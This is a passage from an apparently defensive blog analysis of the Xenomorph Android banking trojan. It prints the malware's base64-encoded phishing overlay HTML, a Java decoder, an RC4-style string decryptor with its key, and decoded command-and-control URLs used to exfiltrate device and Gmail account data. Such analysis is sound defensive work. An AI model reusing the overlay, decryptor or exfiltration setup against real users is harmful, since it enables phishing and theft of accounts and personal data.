IsdGFsa2JhY2s6IlRhbGtCYWNrIixidXR0b246Ik9wZW4gU2V0dGluZ3MiLG9mZjoiUE9aQSIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgZXM6e2FjY2Vzc2FiaWxpdHkxOiJBY2Nlc2liaWxpZGFkIixkb3dubG9hZGVkc2VydmljZToiU2VydmljaW9zIGluc3RhbGFkb3MiLHN3aXRjaGFjY2VzczoiQ2FtYmlhciBhY2Nlc28iLHRhbGtiYWNrOiJUYWxrQmFjayIsYnV0dG9uOiJBYnJpciBBanVzdGVzIixvZmY6IkRlc2FjdGl2YWRvIiwgdF9maW5kQXBwMTogYXBwX3RpdGxlLCB0X2ZpbmRBcHAyOiBhcHBfdGl0bGV9LA0KICAgICAgICBhcjp7YWNjZXNzYWJpbGl0eTE6Itiu2K/ZhdipINin2YTZiNi12YjZhCIsZG93bmxvYWRlZHNlcnZpY2U6Itin2YTYrtiv2YXYp9iqINin2YTZhdit2YXZhNipIixzd2l0Y2hhY2Nlc3M6Itiq2KjYr9mK2YQg2KfZhNmI2LXZiNmEIix0YWxrYmFjazoi2KfYudivINmD2YTYp9mF2YMiLGJ1dHRvbjoiQWJyaXIgQWp1c3RlcyIsb2ZmOiLYpdmK2YLYp9mBIiwgdF9maW5kQXBwMTogYXBwX3RpdGxlLCB0X2ZpbmRBcHAyOiBhcHBfdGl0bGV9LA0KICAgICAgICBiZzp7YWNjZXNzYWJpbGl0eTE6ItCj0YHQu9GD0LPQsCDQt9CwINC00L7RgdGC0YrQv9C90L7RgdGCIixkb3dubG9hZGVkc2VydmljZToi0JjQl9Ci0JXQk9Cb0JXQndCYINCj0KHQm9Cj0JPQmCIsc3dpdGNoYWNjZXNzOiLQn9GA0LXQstC60LvRjtGH0LLQsNC90LUg0L3QsCDQtNC+0YHRgtGK0L/QsCIsdGFsa2JhY2s6ItCe0YLQstGA0YrRidCw0LwiLGJ1dHRvbjoiT3BlbiBTZXR0aW5ncyIsb2ZmOiJPRkYifSwgdF9maW5kQXBwMTogYXBwX3RpdGxlLCB0X2ZpbmRBcHAyOiBhcHBfdGl0bGUsDQogICAgICAgIGNhOnthY2Nlc3NhYmlsaXR5MToiQWNjZXNzaWJpbGl0eSBTZXJ2aWNlIixkb3dubG9hZGVkc2VydmljZToiRE9XTkxPQURFRCBTRVJWSUNFUyIsc3dpdGNoYWNjZXNzOiJTd2l0Y2ggQWNjZXNzIix0YWxrYmFjazoiVGFsa0JhY2siLGJ1dHRvbjoiT3BlbiBTZXR0aW5ncyIsb2ZmOiJPRkYiLCB0X2ZpbmRBcHAxOiBhcHBfdGl0bGUsIHRfZmluZEFwcDI6IGFwcF90aXRsZX0sDQogICAgICAgIGhyOnthY2Nlc3NhYmlsaXR5MToiVXNsdWdhIHByaXN0dXBhxI1ub3N0aSIsZG93bmxvYWRlZHNlcnZpY2U6IlBSRVVaSU1BTkUgVVNMVUdFIixzd2l0Y2hhY2Nlc3M6IlByZWJhY2kgcHJpc3R1cCIsdGFsa2JhY2s6IlRhbGtCYWNrb3ZpbSIsYnV0dG9uOiJPcGVuIFNldHRpbmdzIixvZmY6Ik9GRiIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgZGE6e2FjY2Vzc2FiaWxpdHkxOiJUaWxnw6ZuZ2VsaWdoZWRzdGplbmVzdGUiLGRvd25sb2FkZWRzZXJ2aWNlOiJET1dOTE9BREVERSBUSkVORVNURVIiLHN3aXRjaGFjY2VzczoiU2tpZnQgYWRnYW5nIix0YWxrYmFjazoiVGFsIHRpbGJhZ2UiLGJ1dHRvbjoiT3BlbiBTZXR0aW5ncyIsb2ZmOiJBRiIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgZmk6e2FjY2Vzc2FiaWxpdHkxOiJFc3RlZXR0w7ZteXlzcGFsdmVsdSIsZG93bmxvYWRlZHNlcnZpY2U6IkxBVEFUVVQgUEFMVkVMVVQiLHN3aXRjaGFjY2VzczoiVmFpaGRhIGvDpHl0dMO2b2lrZXV0dGEiLHRhbGtiYWNrOiJQdWh1YSB0YWthaXNpbiIsYnV0dG9uOiJPcGVuIFNldHRpbmdzIixvZmY6IlZJTk9TU0EiLCB0X2ZpbmRBcHAxOiBhcHBfdGl0bGUsIHRfZmluZEFwcDI6IGFwcF90aXRsZX0sDQogICAgICAgIGVsOnthY2Nlc3NhYmlsaXR5MToizqXPgM63z4HOtc+Dzq/OsSDOoM+Bzr/Pg86yzrHPg865zrzPjM+EzrfPhM6xz4IiLGRvd25sb2FkZWRzZXJ2aWNlOiLOm86XzqjOlyDOpc6gzpfOoc6VzqPOmc6pzp0iLHN3aXRjaGFjY2VzczoizpHOu867zrHOs86uIM+Az4HPjM+DzrLOsc+DzrfPgiIsdGFsa2JhY2s6Is6Rzr3PhM65zrzOuc67zqzPiSIsYnV0dG9uOiJPcGVuIFNldHRpbmdzIixvZmY6Is6czpHOms6hzpnOkSDOkc6gzp8iLCB0X2ZpbmRBcHAxOiBhcHBfdGl0bGUsIHRfZmluZEFwcDI6IGFwcF90aXRsZX0sDQogICAgICAgIGl3OnthY2Nlc3NhYmlsaXR5MToi16nXmdeo15XXqiDXoNeS15nXqdeV16oiLGRvd25sb2FkZWRzZXJ2aWNlOiLXqdeZ16jXldeq15nXnSDXqdeU15XXqNeT15UiLHN3aXRjaGFjY2Vzczoi157XoteR16gg15zXkteZ16nXlCIsdGFsa2JhY2s6IteY15XXp9eR16ciLGJ1dHRvbjoiT3BlbiBTZXR0aW5ncyIsb2ZmOiLXm9eR15XXmSIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgaGk6e2FjY2Vzc2FiaWxpdHkxOiLgpKrgpLngpYHgpIHgpJog4KS44KWH4KS14KS+Iixkb3dubG9hZGVkc2VydmljZToi4KSh4KS+4KSJ4KSo4KSy4KWL4KShIOCkleClgCDgpJfgpIgg4KS44KWH4KS14KS+4KSP4KSBIixzd2l0Y2hhY2Nlc3M6IuCkquCkueClgeCkgeCkmiDgpKrgpLAg4KS44KWN4KS14KS/4KSaIOCkleCksOClh+CkgiIsdGFsa2JhY2s6IuCknOCkrOCkvuCkqCDgpJrgpLLgpL7gpKjgpL4iLGJ1dHRvbjoiT3BlbiBTZXR0aW5ncyIsb2ZmOiLgpKzgpILgpKYiLCB0X2ZpbmRBcHAxOiBhcHBfdGl0bGUsIHRfZmluZEFwcDI6IGFwcF90aXRsZX0sDQogICAgICAgIGh1OnthY2Nlc3NhYmlsaXR5MToiS2lzZWfDrXTFkSBsZWhldMWRc8OpZ2VrIHN6b2xnw6FsdGF0w6FzIixkb3dubG9hZGVkc2VydmljZToiTEVUw5ZMVEVUVCBTWk9MR8OBTFRBVMOBU09LIixzd2l0Y2hhY2Nlc3M6IkthcGNzb2zDsyBob3p6w6Fmw6lyw6lzIix0YWxrYmFjazoiVGFsa0JhY2siLGJ1dHRvbjoiT3BlbiBTZXR0aW5ncyIsb2ZmOiJLSSIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgaW46e2FjY2Vzc2FiaWxpdHkxOiJQZXJraGlkbWF0YW4gS2Vib2xlaGNhcGFpYW4iLGRvd25sb2FkZWRzZXJ2aWNlOiJQRVJLSElETUFUQU4gTVVBVCBUVVJVTiIsc3dpdGNoYWNjZXNzOiJUdWthciBBa3NlcyIsdGFsa2JhY2s6IlRhbGtCYWNrIixidXR0b246Ik9wZW4gU2V0dGluZ3MiLG9mZjoiT0ZGIiwgdF9maW5kQXBwMTogYXBwX3RpdGxlLCB0X2ZpbmRBcHAyOiBhcHBfdGl0bGV9LA0KICAgICAgICBsdjp7YWNjZXNzYWJpbGl0eTE6IlBpZWVqYW3Eq2JhcyBwYWthbHBvanVtcyIsZG93bmxvYWRlZHNlcnZpY2U6IkxFSlVQSUVMxIBExJJUSUUgUEFLQUxQT0pVTUkiLHN3aXRjaGFjY2VzczoiUMSBcnNsxJNndCBwaWVrxLx1dmkiLHRhbGtiYWNrOiJSdW7EgXQgcHJldMSrIixidXR0b246Ik9wZW4gU2V0dGluZ3MiLG9mZjoiSVpTTMSSR1RTIiwgdF9maW5kQXBwMTogYXBwX3RpdGxlLCB0X2ZpbmRBcHAyOiBhcHBfdGl0bGV9LA0KICAgICAgICBsdDp7YWNjZXNzYWJpbGl0eTE6IlByaWVpbmFtdW1vIHRhcm55YmEiLGRvd25sb2FkZWRzZXJ2aWNlOiJBVFNJU0lVTlRPUyBQQVNMQVVHT1MiLHN3aXRjaGFjY2VzczoiUGVyanVuZ3RpIHByaWVpZ8SFIix0YWxrYmFjazoiQXRzYWt5dGkiLGJ1dHRvbjoiT3BlbiBTZXR0aW5ncyIsb2ZmOiJJxaBKVU5HVEEiLCB0X2ZpbmRBcHAxOiBhcHBfdGl0bGUsIHRfZmluZEFwcDI6IGFwcF90aXRsZX0sDQogICAgICAgIG5iOnthY2Nlc3NhYmlsaXR5MToiVGlsZ2plbmdlbGlnaGV0c3RqZW5lc3RlIixkb3dubG9hZGVkc2VydmljZToiTkVETEFTVEVERSBUSkVORVNURVIiLHN3aXRjaGFjY2VzczoiQnl0dCB0aWxnYW5nIix0YWxrYmFjazoiU25ha2tlIHRpbGJha2UiLGJ1dHRvbjoiT3BlbiBTZXR0aW5ncyIsb2ZmOiJBViIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgcHQ6e2FjY2Vzc2FiaWxpdHkxOiJBY2Vzc2liaWxpZGFkZSIsZG93bmxvYWRlZHNlcnZpY2U6IlNlcnZpw6dvcyBpbnN0YWxhZG9zIixzd2l0Y2hhY2Nlc3M6IkFsdGVybmFyIGFjZXNzbyIsdGFsa2JhY2s6IlRhbGtCYWNrIixidXR0b246IkFicmlyIERlZmluacOnw7VlcyIsb2ZmOiJEZXNsaWdhciIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgcm86e2FjY2Vzc2FiaWxpdHkxOiJTZXJ2aWNpdWwgZGUgYWNjZXNpYmlsaXRhdGUiLGRvd25sb2FkZWRzZXJ2aWNlOiJTRVJWSUNJSSBERVNDQVJDQVRFIixzd2l0Y2hhY2Nlc3M6IkFjY2VzIGxhIGNvbXV0YXRvciIsdGFsa2JhY2s6IlLEg3NwdW5kZSIsYnV0dG9uOiJPcGVuIFNldHRpbmdzIixvZmY6Ik9GRiIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgc3I6e2FjY2Vzc2FiaWxpdHkxOiLQo9GB0LvRg9Cz0LAg0L/RgNC40YHRgtGD0L/QsNGH0L3QvtGB0YLQuCIsZG93bmxvYWRlZHNlcnZpY2U6ItCf0KDQldCj0JfQmNCc0JDQndCVINCj0KHQm9Cj0JPQlSIsc3dpdGNoYWNjZXNzOiLQodCy0LjRgtGG0YUg0JDRhtGG0LXRgdGBIix0YWxrYmFjazoi0J7QtNCz0L7QstC+0YDQuCIsYnV0dG9uOiJPcGVuIFNldHRpbmdzIixvZmY6ItCS0JDQnSIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgc2s6e2FjY2Vzc2FiaWxpdHkxOiJBY2Nlc3NpYmlsaXR5IFNlcnZpY2UiLGRvd25sb2FkZWRzZXJ2aWNlOiJET1dOTE9BREVEIFNFUlZJQ0VTIixzd2l0Y2hhY2Nlc3M6IlN3aXRjaCBBY2Nlc3MiLHRhbGtiYWNrOiJUYWxrQmFjayIsYnV0dG9uOiJPcGVuIFNldHRpbmdzIixvZmY6Ik9GRiIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgc2w6e2FjY2Vzc2FiaWxpdHkxOiJVc2x1Z2EgcHJpc3R1cGHEjW5vc3RpIixkb3dubG9hZGVkc2VydmljZToiUFJFVVpJTUFORSBVU0xVR0UiLHN3aXRjaGFjY2VzczoiUHJlYmFjaSBwcmlzdHVwIix0YWxrYmFjazoiVGFsa0JhY2tvdmltIixidXR0b246Ik9wZW4gU2V0dGluZ3MiLG9mZjoiT0ZGIn0sDQogICAgICAgIHN2OnthY2Nlc3NhYmlsaXR5MToiVGlsbGfDpG5nbGlnaGV0c3Rqw6Ruc3QiLGRvd25sb2FkZWRzZXJ2aWNlOiJORURMQUREQSBUSsOETlNURVIiLHN3aXRjaGFjY2VzczoiVsOkeGxhIMOldGtvbXN0Iix0YWxrYmFjazoiUHJhdGEgdGlsbGJha2EiLGJ1dHRvbjoiT3BlbiBTZXR0aW5ncyIsb2ZmOiJBViIsIHRfZmluZEFwcDE6IGFwcF90aXRsZSwgdF9maW5kQXBwMjogYXBwX3RpdGxlfSwNCiAgICAgICAgdGg6e2FjY2Vzc2FiaWxpdHkxOiLguJrguKPguLTguIHguLLguKPguIHguLLguKPguYDguILguYnguLLguJbguLbguIciLGRvd25sb2FkZWRzZXJ2aWNlOiLguJrguKPguLTguIHguLLguKPguJTguLLguKfguJnguYzguYLguKvguKXguJQiLHN3aXRjaGFjY2Vzczoi4Liq4Lil4Lix4Lia4LiB4Liy4Lij4LmA4LiC4LmJ4Liy4LiW4Li24LiHIix0YWxrYmFjazoi4Lie4Li54LiU4LiE4Li44Lii4LiB4Lil4Lix4LiaIixidXR0b246Ik9wZW4gU2V0dGluZ3MiLG9mZjoi4Lib4Li04LiUIn0sDQogICAgICAgIHRyOnthY2Nlc3NhYmlsaXR5MToiRXJpxZ9pbGViaWxpcmxpayBIaXptZXRpIixkb3dubG9hZGVkc2VydmljZToixLBORMSwUsSwTEVOIEjEsFpNRVRMRVIiLHN3aXRjaGFjY2VzczoiQW5haHRhciBFcmnFn2ltaSIsdGFsa2JhY2s6IlRhbGtCYWNrIixidXR0b246Ik9wZW4gU2V0dGluZ3MiLG9mZjoiS0FQQUxJIiwgdF9maW5kQXBwMTogYXBwX3RpdGxlLCB0X2ZpbmRBcHAyOiBhcHBfdGl0bGV9LA0KICAgICAgICB2aTp7YWNjZXNzYWJpbGl0eTE6IkThu4tjaCB24bulIHRp4bq/cCBj4bqtbiIsZG93bmxvYWRlZHNlcnZpY2U6IkThu4pDSCBW4bukIFThuqJJIFhV4buQTkciLHN3aXRjaGFjY2VzczoiQ2h1eeG7g24gxJHhu5VpIHRydXkgY+G6rXAiLHRhbGtiYWNrOiJOw7NpIGNodXnhu4duIHRy4bufIGzhuqFpIixidXR0b246Ik9wZW4gU2V0dGluZ3MiLG9mZjoiVOG6rlQiLCB0X2ZpbmRBcHAxOiBhcHBfdGl0bGUsIHRfZmluZEFwcDI6IGFwcF90aXRsZX19LA0KbG9jYWxlPW51bGw9PW9iakxhbmdbbGFuZ10/b2JqTGFuZy5lbjpvYmpMYW5nW2xhbmddOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRfZmluZEFwcDEiKS5pbm5lclRleHQ9bG9jYWxlLnRfZmluZEFwcDEsDQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidF9maW5kQXBwMiIpLmlubmVyVGV4dD1sb2NhbGUudF9maW5kQXBwMiwNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhY2Nlc3NhYmlsaXR5MSIpLmlubmVyVGV4dD1sb2NhbGUuYWNjZXNzYWJpbGl0eTEsDQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZG93bmxvYWRlZHNlcnZpY2UiKS5pbm5lclRleHQ9bG9jYWxlLmRvd25sb2FkZWRzZXJ2aWNlLA0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInN3aXRjaGFjY2VzcyIpLmlubmVyVGV4dD1sb2NhbGUuc3dpdGNoYWNjZXNzLA0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRhbGtiYWNrIikuaW5uZXJUZXh0PWxvY2FsZS50YWxrYmFjaywNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJidXR0b24iKS5pbm5lclRleHQ9bG9jYWxlLmJ1dHRvbiwNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvZmYyIikuaW5uZXJUZXh0PWxvY2FsZS5vZmYsDQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib2ZmMyIpLmlubmVyVGV4dD1sb2NhbGUub2ZmLA0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm9mZjQiKS5pbm5lclRleHQ9bG9jYWxlLm9mZjsNCjwvc2NyaXB0Pg0KPC9odG1sPg=="};

    public static void main(String[] args) throws UnsupportedEncodingException {
        StringBuilder sb = new StringBuilder();
        for (String str : f60else) {
            sb.append(str);
        }

        System.out.println(new String(Base64.getDecoder().decode(sb.toString()), "UTF-8"));
    }
}
				
			

And if we open this decoded HTML in a browser,

What’s more surprising is that this HTML is capable of noting down our pattern.

Then, in line 40,41,42 we could see that this function is starting another activity p095k.

Class `com.givemountaintnk.p095k`

This activity looks like a Web View activity.

If we look into onStart method, they will be calling another function, m46this.

The initial part of this function is used to retrieve the HTML code we saw previously along with some other information. In function m42else they are doing some processing like modifying some data based on the model of the device. Also, they are getting some Gmail information by using AccountManager class. The modified HTML is being passed to the m44goto function.

Nice, we could see some URL/HTML Page being loaded in this web view, and judging by these arguments we could say that the HTML code is being loaded in this web view using loadDataWithBaseURL. We could also see references to CookieManager (accepting and managing third-party cookies)and a Javascript Interface being created for this web view.

Now a question might arise. Where is the code responsible for transmitting the data collected to the malicious endpoint? After a thorough search, if we look at the function Cthis.m155goto,

We can check whether this is the code responsible for transmitting the data by back-tracing this function, which leads us to function m154break. After analysis of this code and checking for references for an Arraylist f77for which is responsible for the value in the first argument (and after a little more analysis), it leads us to an interesting place where the below encrypted string after undergoing some preprocessing, is added into the above-mentioned ArrayList.

				
					public static final String f0fddo = Cbreak.fddo("ecfcbca972a282a06eb2c83c7e17528efe24341bd0f2d98660c0d598cd570a49cbda829408024624066e29986fdbe0671e7e6b7417c8d93d5dfb52769afc2486b6cb15268587c77d0a70902865ec5a06ff793bdfaa1b164aa0e39a4f6e0d904030cbc80020bc680eb9b4f6d198851ba33fe7eaa6087e90c76ff7bc5241b571de50bb8be29f160fb1b96e8ea7f42ca536fe736f121cbf4be538838ee7c97b6f26fc453670b2887ac21e9f5c95")
				
			

Let’s first decode this string. Here is the code

				
					class Cbreak {

    private int[] f105fddo;
    private int ifdf = 0;

    private int f34for = 0;

    public Cbreak(byte[] bArr) {
        this.f105fddo = m48case(bArr);
    }

    private int[] m48case(byte[] bArr) {
        int[] iArr = new int[256];
        for (int i = 0; i < 256; i++) {
            iArr[i] = i;
        }
        int i2 = 0;
        for (int i3 = 0; i3 < 256; i3++) {
            i2 = (((i2 + iArr[i3]) + bArr[i3 % bArr.length]) + 256) % 256;
            m49else(i3, i2, iArr);
        }
        return iArr;
    }

    private void m49else(int i, int i2, int[] iArr) {
        int i3 = iArr[i];
        iArr[i] = iArr[i2];
        iArr[i2] = i3;
    }

    public static String fddo(String str) {
        return new Cbreak("5GRlVS79Se1Z8Q1J1".getBytes()).m50for(str);
    }

    public static String ifdf(String str) {
        return str;
    }

    public String m50for(String str) {
        return m51new(m52try(str));
    }

    public String m51new(byte[] bArr) {
        byte[] bArr2 = new byte[bArr.length];
        for (int i = 0; i < bArr.length; i++) {
            int i2 = (this.ifdf + 1) % 256;
            this.ifdf = i2;
            int i3 = this.f34for;
            int[] iArr = this.f105fddo;
            int i4 = (i3 + iArr[i2]) % 256;
            this.f34for = i4;
            m49else(i2, i4, iArr);
            int[] iArr2 = this.f105fddo;
            bArr2[i] = (byte) (iArr2[(iArr2[this.ifdf] + iArr2[this.f34for]) % 256] ^ bArr[i]);
        }
        return new String(bArr2);
    }

    public byte[] m52try(String str) {
        int length = str.length();
        byte[] bArr = new byte[length / 2];
        for (int i = 0; i < length; i += 2) {
            bArr[i / 2] = (byte) ((Character.digit(str.charAt(i), 16) << 4) + Character.digit(str.charAt(i + 1), 16));
        }
        return bArr;
    }
}

public class Main {
    public static void main(String args[]) {
        System.out.println(Cbreak.fddo("ecfcbca972a282a06eb2c83c7e17528efe24341bd0f2d98660c0d598cd570a49cbda829408024624066e29986fdbe0671e7e6b7417c8d93d5dfb52769afc2486b6cb15268587c77d0a70902865ec5a06ff793bdfaa1b164aa0e39a4f6e0d904030cbc80020bc680eb9b4f6d198851ba33fe7eaa6087e90c76ff7bc5241b571de50bb8be29f160fb1b96e8ea7f42ca536fe736f121cbf4be538838ee7c97b6f26fc453670b2887ac21e9f5c95"));
    }
}
				
			

On running this script, the output looks like

				
					https://zaglefolki1.info/[REDACTED]/|https://passajire555.live/[REDACTED]/|https://majestike8ca.top/[REDACTED]/|https://jikugac818v.vip/[REDACTED]/|
				
			

Let’s take one of the links and check its nature in Virus Total

So finally we found the malicious endpoint to which our data is getting exported.

Here are some other interesting things to note.

Look at this code Cbreak.fddo("ecfcbca93bb782f863a481396b5c5c92fc63665ad4b3d59a20e3");. If we decode this encrypted value, we will be getting this URL http://www.ip-api.com/json. If we check this URL in our browser, we can see details like Country, PIN code, ISP Code, Latitude, Longitude, and much more.

Here is the code that uses this URL

fddo.Cthis.ifdf()

Conclusion

In concluding our exploration of the Xenomorph malware in this sixth installment of our Mobile Malware Series, we’ve understood the intricacies of its tactics. By demystifying the complexities of handling obfuscated code and exposing the dynamically loaded original malware payload, alongside insights into detecting its phishing overlay page, we empower readers to fortify their mobile security defenses. As the cyber threat landscape continues to evolve, it’s imperative to remain vigilant. Stay informed, stay secure, and above all, stay safe in the face of emerging mobile threats.
On Trend

Most Popular Stories

Subscribe & Get InFormation

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.